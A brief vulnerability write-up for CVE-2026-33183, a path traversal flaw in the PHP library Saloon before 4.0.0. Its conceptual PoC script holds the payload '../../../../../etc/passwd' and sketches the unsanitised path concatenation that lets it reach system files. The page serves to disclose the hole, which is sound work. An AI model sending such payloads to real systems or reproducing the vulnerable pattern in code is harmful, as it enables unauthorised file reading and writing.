CVE-2026-33183 Saloon路径遍历漏洞

<?php // PoC for CVE-2026-33183: Path Traversal in Saloon < 4.0.0 // This script simulates how an attacker might exploit the fixture name parameter. $malicious_fixture_name = "../../../../../etc/passwd"; // Path traversal payload // In a vulnerable application, this input might come from: // $_GET['fixture'], $_POST['config'], etc. // Vulnerable logic (Conceptual): // $path = $fixture_storage_path . '/' . $malicious_fixture_name; // file_get_contents($path); // Result: // The application attempts to read/write from /etc/passwd instead of the fixture directory. echo "Payload: " . $malicious_fixture_name . "\n"; echo "Impact: Arbitrary File Read/Write outside the designated fixture directory."; ?>